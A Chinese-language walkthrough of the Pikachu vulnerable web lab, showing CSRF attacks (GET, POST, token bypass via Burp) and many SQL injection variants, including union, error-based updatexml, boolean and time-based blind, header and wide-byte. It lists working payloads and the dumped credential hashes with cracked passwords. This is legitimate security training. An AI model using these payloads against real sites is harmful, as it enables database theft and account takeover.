CSRF
(跨站请求伪造)概述
Cross-site request forgery 简称为“CSRF”,在CSRF的攻击场景中攻击者会伪造一个请求(这个请求一般是一个链接),然后欺骗目标用户进行点击,用户一旦点击了这个请求,整个攻击就完成了。所以CSRF攻击也成为"one click"攻击。 很多人搞不清楚CSRF的概念,甚至有时候会将其和XSS混淆,更有甚者会将其和越权问题混为一谈,这都是对原理没搞清楚导致的。
CSRF(get) login
看一下提示
登录其中一个账户
修改信息,使用burp抓包
可以看到是通过GET请求来提交修改信息
右键 copy URL:
http://127.0.0.1/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=cdcd&phonenum=321321&add=clclcl&email=x%40pikachu.com&submit=submit
将邮箱修改为攻击者的邮箱
修改后URL:
http://127.0.0.1/pikachu/vul/csrf/csrfget/csrf_get_edit.php?
sex=cdcd&phonenum=321321&add=clclcl&email=wk%40pikachu.com&submit=submit
新建页面输入修改后的URL:
修改成功
CSRF(POST)
这里换一个账户登录
修改信息,并且抓包
右键-->Engagement Tools-->Generate CSRF PoC--> Test in browser
复制链接
新建网页,输入链接
点击 Submit request
然后回到刚才登录的账户
修改成功
CSRF Token
Token的作用:防止表单重复提交和身份验证
防止表单重复提交主要思路是,在表单中加入隐藏的表单控件,将token字符串和request域进行比较,如果两个token相同,则返回最新的token,并将相关的数据保存在session或cookie中。这样,在后续的请求中,可以避免表单重复提交。
修改信息,burp抓包
使用scrf token tracker插件绕过
burp安装插件
添加参数
右键数据包-->Engagement tools-->Generate CSRF PoC
点击Test in browser-->Copy
复制链接,打开新标签粘贴,手机号修改成功
#先关闭抓包
Sql Inject(SQL注入)
在owasp发布的top10排行榜里,注入漏洞一直是危害排名第一的漏洞,其中注入漏洞里面首当其冲的就是数据库注入漏洞。
一个严重的SQL注入漏洞,可能会直接导致一家公司破产!
SQL注入漏洞主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。 从而导致数据库受损(被脱裤、被删除、甚至整个服务器权限沦陷)。
在构建代码时,一般会从如下几个方面的策略来防止SQL注入漏洞:
1.对传进SQL语句里面的变量进行过滤,不允许危险字符传入;
2.使用参数化(Parameterized Query 或 Parameterized Statement);
3.还有就是,目前有很多ORM框架会自动使用参数化解决注入问题,但其也提供了"拼接"的方式,所以使用时需要慎重!
MySQL教程:常常在SQL语句中用到#是什么意思呢|极客教程
数字型注入(post)
选择数字1 ,点击查询,然后使用burp抓包
1.判断是否存在漏洞
判断 id=1,为传参点,输入and 1=1 或者 and 1=2
发现1 and 1=2 ,出现报错,判断是数字型注入
2.判断可显字段
1 order by 1 & order by 2 有回显
order by 3,出现报错
证明字段数为 2
3.获取用户名和数据库名
1 union select user(),database()
用户名:root@localhost
数据库名:pikachu
4.获取表名
1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
或者:
1 union select 1,group_concat(table_name)from information_schema.tables where table_schema='pikachu'
5.查询列名(users表)
1 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'
6.查询字段中的内容
查询字段username和password的内容
1 union select group_concat(username),group_concat(password) from users
密码使用了MD5加密,使用解码网站解码
共三组账号密码:
admin:e10adc3949ba59abbe56e057f20f883e(123456)
pikachu:670b14728ad9902aecba32e22fa4f6bd(000000)
test:e99a18c428cb38d5f260853678922e03(abc123)
字符型注入(get)
1.判断注入类型
输入1 显示不存在,输入1’ 回显报错,刚才输入的字符出现在URL,说明是通过get传参,判断为字符型注入
2.判断字段数
1' order by 3 #
#显示报错,判断字段数为2
3.查看显示位(有两个)
1’ union select 1,2 #
4.判断用户名和数据库名
1’ union select user(),database() #
用户名:root@localhost
数据库名: pikachu
5.查询数据库中的表
1’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
6.查询users表中的字段
1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #
7.查询用户名和密码
1' union select username,password from users #
或
1' union select 1,concat_ws('-',username,password) from users #
使用MD5解码网站解码
搜索型注入(GET)
在搭建网站的时候为了方便用户搜索该网站中的资源,程序员在写网站脚本的时候加入了搜索功能,但是忽略了对搜索变量的过滤,造成了搜索型注入漏洞,又称文本框注入。
搜索型注入同其他注入类型相同,由于提交表单的不同,可分为GET型和POST型
1.判断注入点
输入1
输入1‘
2.判断字段数
x%' order by 1 #
x%' order by 2 #
x%' order by 3 #
x%' order by 4 # 回显报错,判断字段数为 3
3.判断显示位
x%' union select 1,2,3 # (显示有三个显示位)
4.查询数据库名(pikachu)
联合查询
x%' union select 1,2,database() #
5.获取数据库中的表
x%' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() #
表名:httpinfo,member,message,users,xssblind
6.获取列(users)
x%' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' #
列:username,password,level
7.获取用户名和密码
x%' union select 1,2,concat_ws('-',username,password) from users #
三组用户名和密码:(使用MD5网站解码)
admin-e10adc3949ba59abbe56e057f20f883e
pikachu-670b14728ad9902aecba32e22fa4f6bdtest-e99a18c428cb38d5f260853678922e03
xx型注入
1.判断注入点
1
1’ #出现报错,存在注入
2.判断字段数
a') order by 1 #
a') order by 2 #
a') order by 3 # 回显报错,判断字段数为 2
3.判断显示位
a') union select 1,2 #
4.查询数据库名(pikachu)
a') union select 1,database() #
5.获取数据库中的表
a') union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
6.获取列(users)
a') union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #
7.获取用户名和密码
a') union select 1,concat_ws('-',username,password) from users #
或
a') union select username,password from users #
insert&update注入
insert注入
点击注册
注册信息,在用户:输入数值 密码:任意
回显报错,存在SQL注入
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '111'),'','','','')' at line 1
1.查询数据库
1' or updatexml(1,concat(0x7e,database()),1) or '
2.查表名
使用limit函数:
' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)),1)or'
' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 4,1)),1)or'
共四张表:httpinfo,member,message,users,xssblind
3.查字段
使用limit函数:
' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1)),1)or'
' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 6,1)),1)or'
共7个字段:USER.CURRENT_CONNECTIONS.TOTAL_CONNECTIONS.id.username.password.level
4.查字段值
查username:
' or updatexml(1,concat(0x7e,(select group_concat(username) from users)),1)or'
admin,pikachu,test
查password:
' or updatexml(1,concat(0x7e,(select password from users limit 0,1)),1)or'
e10adc3949ba59abbe56e057f20f883
' or updatexml(1,concat(0x7e,(select password from users limit 1,1)),1)or'
670b14728ad9902aecba32e22fa4f6b
' or updatexml(1,concat(0x7e,(select password from users limit 2,1)),1)or'
e99a18c428cb38d5f260853678922e0
#使用MD5解码网站解密
update注入
注册帐号后,登录
点击修改信息
信息里写入单引号,回显出现报错,存在SQL注入
使用burp注入测试
具体步骤参考:insert注入
“delete”注入
输入数据 ,然后删除页面上的信息,然后使用burp抓包
发现注入点:
1.判断数据库
使用updatexml函数:
请求方式为GET,所以SQL语句进行URL编码:
+or+updatexml(1,concat(0x7e,(select+database())),1)
#0x7e 是一个十六进制的数,其对应的十进制数是126。而在ASCII码中,126对应的字符为 ~
其他步骤参考:insert&update注入
“http header”注入
提示:admin / 123456
登录
页面返回信息有user agent数据的,将http头中的user-agent和accept带入了SQL查询,如果没过滤就会存在http header注入
刷新页面抓包
在User-Agent:写入1‘,回显报错,说明存在SQL注入
and、or 为逻辑运算符
and 运算符常用于判断多个条件是否同时满足。可以连接多个逻辑表达式,在所有表达式都为True时,整个and表达式才为True。
or 运算符用于连接两个逻辑表达式,只要其中一个表达式为True,整个or表达式就为True。它具有短路求值的特点,即如果第一个表达式为True,后续表达式将不再进行求值。
1.查询数据库名
1' and updatexml(1, concat(0x7e, database()), 1) and '
或
' or updatexml(1,concat(0x7e,(select database())),1)or '
其他步骤参考:insert&update注入
盲注(base on boolian)
SQL注入学习:SQL注入从入门到进阶 | 简言之
布尔盲注,输入数据,只会返回True或者False,不会返回报错信息
所以,输入kobe,有回显内容
输入kobe’ ,显示不存在
这表示存在SQL注入
布尔盲注比较繁琐,可以使用sqlmap进行注入。
这里使用手工盲注:(可以使用burp方便进行注入)
注入语句需要进行URL 编码!!!
1.猜解数据库长度
kobe' and length(database())<6 --+
kobe' and length(database())>7 --+
kobe' and length(database())=8 --+
以此类推
2.猜当前数据库名(pikachu)
kobe' and ascii(substr(database(),1,1))>110 --+
kobe' and ascii(substr(database(),1,1))<111 --+
kobe' and ascii(substr(database(),1,1))=112 --+
以此类推
3.猜解数据库的表数
kobe' and (select count(table_name) from information_schema.tables where table_schema=database())=1 #
kobe' and (select count(table_name) from information_schema.tables where table_schema=database())=5 #
以此类推
4.猜解表的长度
使用length和limit函数
kobe' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1)) = 8#
以此类推
5.猜解表名
kobe' and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='h'#
kobe' and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),8,1)='o'#
以此类推
6.猜解字段个数
kobe' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name = 'users') = 4#
7.猜解字段名的长度
kobe' and length((select column_name from information_schema.columns where table_schema=database() and table_name = 'users' limit 0,1))=2#
以此类推
8.猜解字段名
kobe' and ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),1,1))<97 #
kobe' and ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),1,1))>122#
kobe' and substr((select column_name from information_schema.columns where table_schema=database() and table_name = 'users' limit 0,1),1,1)='i'#
第一个字段名的第一个字母为:i
kobe' and substr((select column_name from information_schema.columns where table_schema=database() and table_name = 'users' limit 0,1),2,1)='d'#
第一个字段名的第二个字母为:d
以此类推
9.猜解字段数据
username password
kobe' and (substr((select username from users limit 0,1),1,1))='a'#
以此类推
对应账号和MD5加密的密码:
admin: e10adc3949ba59abbe56e057f20f883e(123456)
pikachu: 670b14728ad9902aecba32e22fa4f6bd(000000)
test: e99a18c428cb38d5f260853678922e03(abc123)
盲注(base on time)
基于时间的注入,无论输入什么都会显示:i don't care who you are!
如果存在SQL注入点,后端就会 sleep 5秒才会返回执行结果
kobe' and sleep(5)#
1.猜解数据库长度
kobe' and sleep(if((length(database())=7),0,3))#
#页面没有延时,说明数据库长度为7,反之为 false
2.猜解当前数据库名
如果猜解成功就会 sleep 5秒,反之为 false
kobe' and if((substr(database(), 1, 1))='p', sleep(5), null)#
以此类推
...
宽字节注入
宽字节注入是利用mysql的一个特性,mysql在使用GBK编码的时候,会认为两个字符是一个汉字【前一个ascii码要大于128,才到汉字的范围】
宽字节中,单引号会被转义为斜杠"\",这样会无法构造一个SQL语句。可以通过在单引号前面加
" %df ",来让单引号逃过转义。
1.输入kobe%df' order by 1 #,点击查询,抓包,可以查询出所有用户的数据
2.猜解字段数
kobe%df' order by 1 #
#回显不存在,目前原因未知.
3.猜解显示位
kobe%df' union select 1,2#
其他步骤参考: 字符型(get)注入,这一关需要用%df来逃逸单引号.
参考:
https://cloud.tencent.com/developer/article/2203932
SQL注入从入门到进阶 | 简言之